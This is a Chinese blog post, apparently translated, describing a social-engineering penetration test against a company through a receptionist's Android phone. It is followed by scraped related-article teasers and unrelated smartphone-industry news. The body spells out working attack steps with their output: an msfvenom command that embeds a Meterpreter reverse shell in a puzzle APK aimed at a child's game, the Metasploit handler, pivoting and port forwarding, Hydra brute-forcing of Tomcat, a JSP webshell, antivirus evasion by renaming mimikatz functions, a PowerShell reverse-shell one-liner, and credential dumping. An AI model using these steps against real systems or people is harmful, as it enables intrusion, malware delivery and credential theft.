公司智能手机安全(一)——从APK到Golden Ticket:初步探测

公司智能手机安全(一)——从APK到Golden Ticket:初步探测,从一台Android智能手机,获取域管理员权限,甚至更多…

本文介绍了在企业网络中使用个人智能手机的潜在危险,在现实案例发生之后,这些案例被作为了典型。事实证明,欺骗一名员工安装恶意应用程序、绕过网络保护、访问企业网络、提权并获取保密信息并不困难。

此外,事实证明了在不被发现的情况下绕过所有的防护机制(包括反病毒软件)是可能的。攻击者可以通过使用一些系统自带的工具和能够公开访问到的脚本来实现绕过,而不需要太过于依赖外部工具。

这就是我们常说的K.I.S.S策略(Keep It Simple Stupid)

下面的故事如与真实事件或真实人物有任何相似之处,纯属巧合。

背景

“超级公司”聘请了我们的渗透测试工程师对其员工进行社会工程学评估,测试的范围是找到所有能窃取机密资料的方法,从而利用员工

在内部见面会期间,我们要求访问访客WiFi。访客WiFi受到专属保护,因此需要登录,凭证有效期仅为一天。

一旦连接上了WiFi,我们就开始从iPhone手机用Fing进行了一次快速扫描:结果我们发现了几台Android设备——这显然是超过了公司访客的人数。我们认为甚至公司职员也使用访客WiFi。也许可以节省他们宝贵的数据计划。事实上,给我们登录凭证的接待员在我们询问如何访问网络时,正在聊WhatsApp。

场景:桌子上有两部电话,整洁的桌面,一家三口的照片。

在短暂的闲聊之后,我了解到了她女儿四岁了,非常活跃,但是只要有装了游戏的智能手机就能平静下来。啊,现在的孩子们啊…

攻击描述

社会工程学是从一次小型钓鱼活动开始的,虽然惨遭失败。我们随后发现公司职员在我们攻击之前,都受到过相关训练,对附件、下载等行为都有很强的警惕性,我们的开端并不好。

于是我们决定把精力集中在接待员身上,我们的目的是让她为孩子下载Android应用,有什么对孩子来说比拼图更有意思呢,哈 我们喜欢拼图啊。

找到接待员的email个人地址非常容易,我们准备了一封电子邮件,里面有一个链接定位到下载页面。我们还在邮件里加了一个二维码,只要像拍照一样扫一下就能安装了。

很可爱对吧!我们的目标很容易就会装上恶意安卓应用,这个应用程序确实是一个拼图游戏,只是里面藏了一个Meterpreter的shell

瞄准智能手机

创建一款恶意安卓应用非常简单,我们下载了一个普通应用,然后使用msfvenom来注入了payload,也就是meterpreter shell

msfvenom -x puzzle.apk -p android/meterpreter/reverse_tcp LHOST= LPORT=443 -o /var/www/html/puzzle.apk

使用443端口进行监听的原因是,443和80端口都通常是被防火墙许可的标准端口

我们相信这款app能够引起接待员足够的兴趣,并忽略掉安装过程中的警告

在我们的主机上,也开启了一个监听程序:

msf>use exploit/multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp

payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set lhost

lhost =>

msf exploit(handler) > set lport 443

lport => 443

msf exploit(handler) > exploit -j -z

[*] Started reverse TCP handler on :443

为了利用公司职员会为了个人目的使用访客WiFi这一点,我们还想再公司附近放一个天线

利用Meterpreter

大概早上8:00的时候,我在msfconsole上收到了消息:

[*] Meterpreter session 1 opened (:443 ->X.X.X.X:51990) at …

Bingo!她安装并运行了恶意安卓程序,我们现在获得了一个Meterpreter会话

现在我们需要知道她是否连接到了公司的WiFi网络。IP检测结果表明它是从蜂窝网络连接的,她可能在去办公室的路上,也许她女儿正在玩拼图游戏。

会话并没有持续太久,几分钟后我们丢失了shell,但是在9:00前我们又收到了另一个Session:

[*] Meterpreter session 2 opened (:443 ->K.K.K.K:61545) at …

这次IP是公司的,说明她连接到了公司的WiFi网络

于是我们开始进行了一些初步探查,除了几台智能手机,我们只在一个不同的子网下找到了一台DNS服务器

meterpreter>ipconfig

…..

Interface 9

============

Name : wlan0 – wlan0

Hardware MAC : 20:6e:9c:75:94:ba

IPv4 Address : 10.118.1.13

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::226e:9cff:fe75:94ba

IPv6 Netmask : ::

…….

meterpreter > shell

Process 1 created.Channel 1 created.

getprop net.dns1

192.168.178.196

访客WiFi网络在10.118.1.0/24上,而DNS服务器位于另一个子网

为了访问子网,我们配置了路由

exploit(handler) > route add 192.168.178.0 255.255.255.0 1

Nmap扫描不能执行,于是我们使用proxychains做了一次快速的ping扫描

msf auxiliary(socks4a) > use auxiliary/server/socks4a

msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

Name Current Setting Required Description

—- ————— ——– ———–

SRVHOST 0.0.0.0 yes The address to listen on

SRVPORT 1080 yes The port to listen on.

# Attacker proxychains nmap -sn 192.168.178.0/24 DNS network

Nmap scan report for 192.168.178.195

Host is up (0.15s latency).

Nmap scan report for 192.168.178.196

Host is up (0.22s latency).

主机对ping扫描都进行了回复

我们接着又进行了一次快速TCP扫描

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 192.168.178.195,196

msf auxiliary(tcp) > set RPORTS 1-1024

msf auxiliary(tcp) > run

[*] 192.168.178.195: – 192.168.178.195:80 – TCP OPEN

[*] 192.168.178.195: – 192.168.178.195:8080 – TCP OPEN

[*] 192.168.178.196: – 192.168.178.196:53 – TCP OPEN

这是我们对当前网络环境结构的推测:

瞄准内网服务器

主机192.168.178.195开放了80和8080端口,我们在本地转发了端口,以便能够在本地分析网络流量

meterpreter> portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80

meterpreter> portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080

80端口暴露了公司的电话簿,我们现在仍然不知道他们为什么在访客网络上暴露这些信息

快速扫描没有发现明显漏洞,于是我们决定检查下8080端口

我们遇到了Apache Tomcat的基本身份验证,使用Hydra进行爆破,几分钟后我们用admin/password123456登录了系统

现在我们进入了Tomcat管理控制台,这应该是防火墙配置的错误,因为不论是Tomcat管理控制台还是公司的号码簿,都不应该暴露在访客网路

我们计划在Tomcat上上传一个shell,以便能与底层操作系统进行交互。服务器指纹表明,我们正在对付的,是一台Windows服务器。

我们用Laudanum Injectable Web Exploit Code构造了war-archive,在管理页面上传了waf文件,其中包含了:

cmd.jsp:用于与cmd.exe进行交互

m.ps1:一个经过混淆和免杀的mimikatz.ps1,用于抓取密码和散列

由于其灵活性,混淆powershell脚本很容易,有几种著名的混淆技巧,我们只是改变了一些关键字,比如把Invoke-mimikatz改成Invoke-mymy什么的,还有一些其他的小技巧可供参考。

我们还在文件末尾添加了Invoke-mymy -dumpcreds,以便功能被直接执行

上传之后,我们就在浏览器访问了cmd.jsp

哈!用户是以SYSTEM权限运行服务的,我们继续进行信息收集。首先,来收集一下环境变量:

命令 cmd /c set

结果如下:

ALLUSERSPROFILE=C:\ProgramData

COMPUTERNAME=SRVINTRANET

USERDOMAIN=SUPERCOMPANY

USERNAME=SRVINTRANET$

现在我们获取到了计算机名SRVINTRANET,与此同时,它属于SUPERCOMPANY域,完美。

继续使用systeminfo来检索其他有用信息:

命令:systeminfo

结果:

Host Name: SRVINTRANET

OS Name: Microsoft Windows Server 2012 R2 Standard

OS Version: 6.3.9600 N/A Build 9600

OS Manufacturer: Microsoft Corporation

OS Configuration: Member Server

OS Build Type: Multiprocessor Free

Registered Owner: Windows User

接下来是域控制器

命令:cmd /c nltest /dclist:supercompany

结果:

Get a list of DCs in domain ‘supercompany’ from ‘\\SRVDC1′.

srvdc1.supercompany.local[PDC] [DS]Site: Default-First-Site-Name

srvdc2.supercompany.local [DS]Site: Default-First-Site-Name

The command completed successfully

这时候Android设备可能已经开始发热了,我们需要转移到一个更合适的shell上。Android设备已经不再适合我们的工作了。

我们的黄金法则是:保持隐蔽和躲避杀毒软件。于是我们使用了基于PowerShell的shell,希望SRVINTRANET能够访问互联网吧。

通过Tomcat上的webshell,我们装好了Powershell后门,将会执行单向回连的命令,与此同时我们的公网服务器用netcat监听了80端口

cmd /c powershell -nop -c “$c=New-Object Net.Sockets.TCPClient(‘’,80); $s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb=(IEX $data 2>&1|Out-String);$sb2=$sb+’PS ‘+(pwd).Path+’>’; $sb=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb,0,$sb.Length);

$s.Flush()};$c.Close()”

这个脚本有什么功能呢?它会在启动PowerShell的时候执行以下命令:创建一个TCPClient对象,反向连接到我们的机器,打开一个I/O流,并使用InvokeExpression来执行输入的内容

我们这次没那么幸运了,没有收到反向shell。这台服务器可能不能连接到互联网,于是我们又一次转向了Tomcat的webshell,并且安装了混淆过的mimikatz

cmd /c powershell -executionpolicy bypass -f c:\tomcat\webapps\cmd\warfiles\m.ps1

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

.## ^ ##. “A La Vie, A L’Amour”

## / \ ## /* * *

## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)

‘#####’ with 20 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 191734 (00000000:0002ecf6)

Session : Interactive from 1

User Name : Administrator

Domain : SRVINTRANET

Logon Server : SRVINTRANET

Logon Time : 2/17/2017 2:12:31 PM

SID : S-1-5-21-938204560-2839928776-2225904511-500

msv :

[00010000] CredentialKeys

* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX

* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX

[00000003] Primary

* Username : Administrator

* Domain : SRVINTRANET

* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX

* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX

tspkg :

wdigest :

* Username : Administrator

* Domain : SRVINTRANET

* Password : (null)

kerberos :

* Username : Administrator

* Domain : SRVINTRANET

* Password : (null)

ssp : KO

credman :

mimikatz(powershell) # exit

Bye!

我们得到了本地管理员的密码哈希,但是没有明文。这是因为我们的目标服务器是Windows Server 2012,而在2008以后,事情发生了变化,WDigest凭证就不再储存明文了(不禁怀念过去的美好时光),此外credman是空的。总之这次发现也不差吧。

我们决定找到一个能够访问互联网的服务器,因为我们现在依然在借助一个连接不稳定的安卓手机完成渗透工作。

通过net view命令,我们得到了可用的共享服务器列表

Server Name Remark

————————————————-

\\SRVDC1 Domain controller PDC

\\SRVDC2 [4] Domain Controller

\\SRVWSUS Server WSUS

\\SRVAV Server AV

\\SRVFILE1 File Server

这就是真正的服务器网络

时间: 2024-10-01 05:44:24

公司智能手机安全(一)——从APK到Golden Ticket:初步探测的相关文章

公司智能手机安全(三)—— 瞄准域控制器与寻找Golden Ticket

公司智能手机安全(三)-- 瞄准域控制器与寻找Golden Ticket.在离开内部网络前,我们决定取得域控制器的哈希,特别是Kerberos账户(krbtgt),想要创建一个Golden Ticket*. Golden Ticket是指伪造的TGT(Ticket Granting Ticket),同理Silver Ticket是伪造的TGS(Ticket Granting Server) Golden Ticket攻击能够让我们创建离线的Kerberos TGT来进行未授权访问,并且伪造任何域

公司智能手机安全(二)——瞄准WSUS服务器

公司智能手机安全(二)--瞄准WSUS服务器.经过扫描发现,有两台主机能够满足我们的需求,给我们发送一个稳定的远程shell.他们分别是WSUS(Windows更新服务器)和Antivirus(反病毒相关服务器),因为这些服务必须有Internet访问权限才能更新数据库,让我们从第一个开始. 有一个有趣的问题,本地管理员的NTLM哈希是否足以访问此服务器呢?也许我们的答案是肯定的. 在一家公司,所有服务器都使用相同的本地管理员密码其实很常见.这常常与第一次创建服务器有关系(非最佳实践),第一次被

海思、瑞芯微、MTK智能手机前景分析

近期海思推出千元智能手机,让包括大陆及台湾的业界充满幻想,海思能否打破MTK在中国手机市场的垄断?瑞芯微不久前推出65nm的RK28高调进军手机市场,海思.瑞芯微.MTK三家主要的手机AP制造商前景如何? 三家公司AP处理器内核都采用ARM926,不过瑞芯微RK28采用65nm制程,CPU运行频率可以达到600Mhz,而华为海思K3及MTK6516一般运行在312Mhz,当然这是目前公布的参数,未来三家都有可能推出基于ARM11甚至A8内核的处理器,不同的工艺决定了三家在操作系统选择的不同,从目

联想最新K系列智能手机放弃英特尔处理器

英特尔一直很难说服手机巨头们在Android设备中使用自己的http://www.aliyun.com/zixun/aggregation/18615.html">移动处理器,但是作为英特尔在PC产业的长期知名客户之一,联想集团的智能手机也开始放弃英特尔处理器. 联想集团的旗舰智能手机K900配置了英特尔的凌动处理器.不过在K900继任产品Vibe Z(代号为K910)的开发中,联想集团决定弃用凌动处理器,转而使用高通的处理器.英特尔承认了这一变化,但对这是否意味着联想手机将不再采用英特尔

苹果在智能手机市场日益败退:份额降至三星一半

在智能手机销售大战中,苹果不断落后于来自韩国的竞争对手三星公司,而今年一季度的销售数据显示,两者之间的差距正在扩大.这在一定程度上可能是因为苹果还没有为其广受欢迎的iPhone推出新的版本.不过,市场研究机构Juniper Research在周五表示,虽然这两个品牌中苹果更加昂贵和新潮,但三星迎合大众市场以及价格更低的吸引力使其在年初至今的智能手机出货量竞赛中将苹果甩在身后. 市场研究机构Juniper Research称,三星2013年第一季度在智能手机销售方面扩大了对苹果的领先优势.苹果需要

韩国通信运营商首推智能手机短信通话免费服务

新浪科技讯 7月21日下午消息,据朝鲜日报报道,韩国通信运营商SKT 20日正式对外提供SK Communications公司智能手机免费通话服务服务"NATEON Talk",成为首家免费通话服务运营商. SK Communications是韩国最大的移动通信运营商SK电讯的子公司.随着该公司推出免费通话服务,人们预测今后手机通话是否可能会完全免费. 经测试,此服务通话质量不太理想,过程中会出现断续或回音的情况,但能大概理解对方意思. 免费通话软件并不是完全免费.只有订购每月5.5万

刘军:联想已跻身全球第五大智能手机厂商

联想集团高级副总裁.Lenovo业务集团总裁刘军新浪科技讯 2月5日上午消息,联想集团高级副总裁.Lenovo业务集团总裁刘军昨天表示,去年全年联想手机出货量突破3000万部,其中海外市场销量达到50万部.他还援引IDC的最新报告称,去年第四季度联想已经跻身全球第五大智能手机厂商.刘军昨天现身联想控股年会,并且就负责的手机业务向联想控股董事长柳传志作了简要汇报.他透露,去年全年联想手机出货量突破3000万部,其中海外市场销量达到50万部.刘军还在现场表示,根据市场研究公司IDC的最新报告,联想在

苹果诺基亚RIM名列智能手机营收前三甲

北京时间3月17日早间消息,市场研究公司Strategy Analytics公布的数据显示,苹果.诺基亚和RIM位居智能手机业务营收前三,这3家公司智能手机业务营收占智能手机市场的64%. 数据显示,2010年,以出货量计算,苹果在智能手机市场的份额为16%,但以营收计算则为29%.以营收计算,诺基亚和RIM的市场份额分别为20%和15%. Strategy Analytics预计,2011年,Android手机的市场份额将会出现大幅上升,主要厂商包括三星电子和HTC.而中国的中兴和华为将在廉价

苹果手表已出,产业链公司欲改变现状

德赛电池.立讯精密等上市公司欲改变过度依赖苹果的现状 苹果9日发布Apple Watch,包括售价高达17000美元.采用蓝宝石表面的黄金或玫瑰金型号.但投资者质疑,苹果首席执行官库克麾下的首款产品是否能风靡全球. 时尚界不买苹果账 投资界心存疑虑 库克接任首席执行官以后苹果推出的这个首款智能手表产品,将于4月10日接受预订,4月24日现货供应.与以往不同的是,此次Apple Watch将出现在包括巴黎.伦敦和东京的时尚精品店售卖. 为了突出时尚与科技,库克与美国名模Christy Turlin